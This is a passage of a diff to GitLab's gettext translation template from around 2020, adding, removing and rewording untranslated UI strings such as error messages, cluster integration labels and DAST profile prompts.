+"PO-Revision-Date: 2020-09-04 23:01\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -54,13 +54,13 @@ msgstr[0] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -69,6 +69,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -251,6 +254,9 @@ msgstr[0] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -287,6 +293,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -339,6 +348,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -366,7 +378,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -453,9 +465,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -474,6 +483,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -483,6 +495,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -590,6 +614,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -613,6 +640,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -628,6 +658,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -696,6 +729,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -729,6 +765,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -738,7 +777,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -781,6 +835,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -961,15 +1018,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1033,7 +1081,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1051,6 +1099,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1153,6 +1204,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1264,6 +1318,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1295,12 +1352,6 @@ msgstr[0] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1415,6 +1466,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1427,6 +1481,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1439,6 +1496,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1718,6 +1778,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1733,6 +1796,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -1959,6 +2025,9 @@ msgstr[0] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -1989,7 +2058,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2046,9 +2115,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2061,6 +2127,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2103,16 +2172,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2142,7 +2208,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2241,6 +2307,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2388,6 +2457,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2454,6 +2526,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2526,9 +2601,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2670,13 +2754,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
+msgid "An error occurred while saving LDAP override status. Please try again."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2703,12 +2790,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2787,6 +2880,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -2998,6 +3094,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3010,6 +3109,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3025,9 +3127,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3136,7 +3235,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3148,9 +3247,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3163,6 +3259,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3420,7 +3519,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3498,6 +3597,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3624,7 +3726,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3738,6 +3840,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3807,13 +3912,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4008,6 +4116,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4182,6 +4293,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4215,10 +4329,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4239,7 +4353,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4425,9 +4539,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4653,7 +4764,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4821,9 +4932,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -4929,6 +5046,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -4962,19 +5082,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
+msgstr ""
+
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5022,13 +5148,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5046,6 +5175,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5085,15 +5217,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5118,6 +5247,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5301,9 +5433,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5499,7 +5628,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5718,12 +5847,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5763,15 +5895,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5796,6 +5940,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5811,9 +5958,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5844,7 +5988,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6021,6 +6165,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6220,7 +6370,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6670,9 +6820,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6757,6 +6904,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6769,6 +6919,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6793,15 +6946,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6832,6 +6991,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6847,6 +7009,10 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+
msgid "Create"
msgstr ""
@@ -6937,6 +7103,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -6973,6 +7142,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -6997,6 +7169,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7168,6 +7343,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7264,6 +7442,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7427,6 +7614,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7457,25 +7647,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7484,7 +7704,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7496,6 +7725,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
